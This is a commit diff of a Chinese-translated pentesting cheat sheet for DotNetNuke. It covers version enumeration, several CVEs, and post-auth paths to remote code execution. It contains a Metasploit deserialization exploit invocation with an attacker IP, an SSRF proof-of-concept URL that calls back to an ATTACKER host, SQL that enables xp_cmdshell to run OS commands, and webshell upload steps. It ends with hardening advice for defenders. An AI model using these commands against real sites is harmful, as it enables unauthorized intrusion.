Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d

This commit is contained in:
Translator 2025-07-19 08:09:28 +00:00
parent 73515f7ae2
commit a67634ead0

View File

@ -4,37 +4,94 @@
## DotNetNuke (DNN)
如果您以 **administrator** 身份登录 DNN获取 RCE 非常简单
如果您以 **administrator** 身份登录 DNN获取 **RCE** 很容易,但在过去几年中发布了一些 *unauthenticated**post-auth* 技术。以下备忘单收集了用于攻防工作的最有用原语
## RCE
---
## 版本和环境枚举
### 通过 SQL
* 检查 *X-DNN* HTTP 响应头 - 通常会披露确切的平台版本。
* 安装向导在 `/Install/Install.aspx?mode=install` 中泄露版本(在非常旧的安装中可访问)。
* `/API/PersonaBar/GetStatus` (9.x) 返回一个 JSON blob包含低权限用户的 `"dnnVersion"`
* 您将在实时实例中看到的典型 cookie
* `.DOTNETNUKE` ASP.NET 表单身份验证票证。
* `DNNPersonalization` 包含 XML/序列化的用户配置文件数据(旧版本 - 见下文 RCE
**`Settings`** 页面下可以访问 SQL 控制台,您可以启用 **`xp_cmdshell`** 并 **运行操作系统命令**
---
## 未经身份验证的利用
使用以下行来启用 **`xp_cmdshell`**
```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
### 1. Cookie 反序列化 RCE (CVE-2017-9822 & 后续)
*受影响版本 ≤ 9.3.0-RC*
`DNNPersonalization` 在启用内置 404 处理程序时在每个请求中被反序列化。因此,精心制作的 XML 可能导致任意小工具链和代码执行。
```
然后,按 **"Run Script"** 运行该 SQL 语句。
接着,使用以下内容运行操作系统命令:
```sql
xp_cmdshell 'whoami'
msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST <attacker_ip>
msf> run
```
### 通过 ASP webshell
该模块自动选择适用于已修补但仍然易受攻击的版本的正确路径CVE-2018-15811/15812/18325/18326。在7.x9.1.x上利用攻击**无需身份验证**在9.2.x+上则需要一个*经过验证*的低权限账户。
`Settings -> Security -> More -> More Security Settings` 中,您可以在 `Allowable File Extensions`**添加新的允许扩展名**,然后点击 `Save` 按钮。
### 2. 服务器端请求伪造 (CVE-2025-32372)
*受影响版本 < 9.13.8 补丁于2025年4月发布*
添加 **`asp`** 或 **`aspx`**,然后在 **`/admin/file-management`** 上传一个名为 `shell.asp`**asp webshell**
旧版`DnnImageHandler`修复的绕过使攻击者能够强迫服务器发出**任意GET请求**半盲SSRF。实际影响
然后访问 **`/Portals/0/shell.asp`** 以访问您的 webshell。
* 内部端口扫描/云部署中的元数据服务发现。
* 访问其他被防火墙保护的主机。
### 权限提升
概念验证(替换`TARGET``ATTACKER`
```
https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc
```
请求在后台触发;监控您的监听器以获取回调。
您可以使用 **Potatoes****PrintSpoofer** 例如 **提升权限**
### 3. NTLM 哈希暴露通过 UNC 重定向 (CVE-2025-52488)
*受影响版本 6.0.0 9.x (< 10.0.1)*
特别构造的内容可以使 DNN 尝试使用 **UNC 路径** 获取资源,例如 `\\attacker\share\img.png`。 Windows 将乐于进行 NTLM 协商,将服务器账户哈希泄露给攻击者。 升级到 **10.0.1** 或在防火墙上禁用出站 SMB。
### 4. IP 过滤器绕过 (CVE-2025-52487)
如果管理员依赖 *Host/IP 过滤器* 保护管理门户,请注意 **10.0.1** 之前的版本可以通过在反向代理场景中操纵 `X-Forwarded-For` 来绕过。
---
## 认证后到 RCE
### 通过 SQL 控制台
**`Settings → SQL`** 下,内置查询窗口允许对站点数据库执行操作。 在 Microsoft SQL Server 上,您可以启用 **`xp_cmdshell`** 并生成命令:
```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';
```
### 通过ASPX Webshell上传
1. 转到 **`Settings → Security → More → More Security Settings`**。
2. 将 `aspx`(或 `asp`)附加到 **Allowable File Extensions****保存**
3. 浏览到 **`/admin/file-management`** 并上传 `shell.aspx`
4. 在 **`/Portals/0/shell.aspx`** 触发它。
---
## Windows上的权限提升
一旦以 **IIS AppPool\<Site>** 实现代码执行常见的Windows权限提升技术适用。如果该系统存在漏洞您可以利用
* **PrintSpoofer** / **SpoolFool** 来滥用 *SeImpersonatePrivilege*
* **Juicy/Sharp Potatoes** 来逃避 *Service Accounts*
---
## 加固建议(蓝队)
* **升级** 至至少 **9.13.9**修复SSRF绕过或更好地 **10.0.1**IP过滤和NTLM问题
* 安装后删除残留的 **`InstallWizard.aspx*`** 文件。
* 禁用出站SMB端口445/139流量。
* 在边缘代理上强制实施强大的 *Host Filters*而不是在DNN内部。
* 如果未使用,阻止对 `/API/RemoteContentProxy` 的访问。
## 参考文献
* Metasploit `dnn_cookie_deserialization_rce` 模块文档 实用的未认证RCE细节GitHub
* GitHub安全公告 GHSA-3f7v-qx94-666m 2025 SSRF绕过和补丁信息。
{{#include ../../banners/hacktricks-training.md}}